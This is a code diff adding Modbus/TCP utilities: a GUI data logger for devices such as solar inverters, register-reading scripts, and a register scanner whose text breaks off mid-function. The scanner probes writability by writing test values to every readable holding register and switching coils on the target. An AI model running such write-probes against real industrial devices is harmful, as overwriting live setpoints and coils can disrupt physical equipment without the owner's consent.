self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + 